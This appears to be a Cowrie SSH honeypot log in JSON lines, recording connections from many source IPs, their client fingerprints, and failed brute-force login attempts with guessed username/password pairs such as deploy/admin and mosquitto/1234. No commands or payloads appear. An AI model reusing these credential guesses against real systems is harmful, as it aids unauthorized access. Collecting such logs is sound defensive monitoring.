{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:26.952986Z","src_ip":"14.225.2.125","session":"5c8426678952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:27.208462Z","src_ip":"14.225.2.125","session":"5c8426678952","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dpessoal1","password":"dpessoal1","message":"login attempt [dpessoal1/dpessoal1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:27.976197Z","src_ip":"14.225.2.125","session":"5c8426678952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":54138,"dst_ip":"159.203.135.109","dst_port":22,"session":"29650473b3ed","protocol":"ssh","message":"New connection: 45.232.73.84:54138 (159.203.135.109:22) [session: 29650473b3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:29.173839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:29.182374Z","src_ip":"45.232.73.84","session":"29650473b3ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:29.234299Z","src_ip":"14.225.2.125","session":"5c8426678952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:29.304637Z","src_ip":"45.232.73.84","session":"29650473b3ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:29.798326Z","src_ip":"45.232.73.84","session":"29650473b3ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.88.194.26","src_port":56118,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebf0f54f1c66","protocol":"ssh","message":"New connection: 176.88.194.26:56118 (159.203.135.109:22) [session: ebf0f54f1c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:30.125413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:30.130871Z","src_ip":"176.88.194.26","session":"ebf0f54f1c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:30.256075Z","src_ip":"176.88.194.26","session":"ebf0f54f1c66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":32828,"dst_ip":"159.203.135.109","dst_port":22,"session":"34487a3017c9","protocol":"ssh","message":"New connection: 5.75.137.141:32828 (159.203.135.109:22) [session: 34487a3017c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:30.510237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:30.513611Z","src_ip":"5.75.137.141","session":"34487a3017c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:30.605964Z","src_ip":"5.75.137.141","session":"34487a3017c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mosquitto","password":"1234","message":"login attempt [mosquitto/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:30.787303Z","src_ip":"176.88.194.26","session":"ebf0f54f1c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"1234","message":"login attempt [test2/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:30.792194Z","src_ip":"5.75.137.141","session":"34487a3017c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:30.929375Z","src_ip":"45.232.73.84","session":"29650473b3ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:31.886647Z","src_ip":"5.75.137.141","session":"34487a3017c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:31.914671Z","src_ip":"176.88.194.26","session":"ebf0f54f1c66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":54326,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ab1434eeddd","protocol":"ssh","message":"New connection: 20.244.18.126:54326 (159.203.135.109:22) [session: 4ab1434eeddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:49:00.343124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:49:00.348761Z","src_ip":"20.244.18.126","session":"4ab1434eeddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:49:00.548008Z","src_ip":"20.244.18.126","session":"4ab1434eeddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ben","password":"Ben123","message":"login attempt [ben/Ben123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:49:01.373862Z","src_ip":"20.244.18.126","session":"4ab1434eeddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:49:02.575091Z","src_ip":"20.244.18.126","session":"4ab1434eeddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":46958,"dst_ip":"159.203.135.109","dst_port":22,"session":"556da5599604","protocol":"ssh","message":"New connection: 211.106.133.202:46958 (159.203.135.109:22) [session: 556da5599604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:49:06.216203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:49:06.220059Z","src_ip":"211.106.133.202","session":"556da5599604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:49:06.423299Z","src_ip":"211.106.133.202","session":"556da5599604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dms","password":"password","message":"login attempt [dms/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:49:07.276626Z","src_ip":"211.106.133.202","session":"556da5599604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:49:08.483532Z","src_ip":"211.106.133.202","session":"556da5599604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48444,"dst_ip":"10.17.0.5","dst_port":22,"session":"727aece3af5d","protocol":"ssh","message":"New connection: 2.57.122.208:48444 (10.17.0.5:22) [session: 727aece3af5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:49:54.364437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:49:54.368487Z","src_ip":"2.57.122.208","session":"727aece3af5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:49:54.472420Z","src_ip":"2.57.122.208","session":"727aece3af5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:49:54.782968Z","src_ip":"2.57.122.208","session":"727aece3af5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:49:55.888596Z","src_ip":"2.57.122.208","session":"727aece3af5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.236.235","src_port":56114,"dst_ip":"159.203.135.109","dst_port":22,"session":"e44831a9ef56","protocol":"ssh","message":"New connection: 182.52.236.235:56114 (159.203.135.109:22) [session: e44831a9ef56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:15.611783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:15.620381Z","src_ip":"182.52.236.235","session":"e44831a9ef56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:15.865971Z","src_ip":"182.52.236.235","session":"e44831a9ef56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"hu123!","message":"login attempt [hu/hu123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:16.875067Z","src_ip":"182.52.236.235","session":"e44831a9ef56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":49906,"dst_ip":"159.203.135.109","dst_port":22,"session":"27e196bcb6dd","protocol":"ssh","message":"New connection: 103.59.94.61:49906 (159.203.135.109:22) [session: 27e196bcb6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:17.432324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:17.436535Z","src_ip":"103.59.94.61","session":"27e196bcb6dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:17.686785Z","src_ip":"103.59.94.61","session":"27e196bcb6dd","protocol":"ssh"}
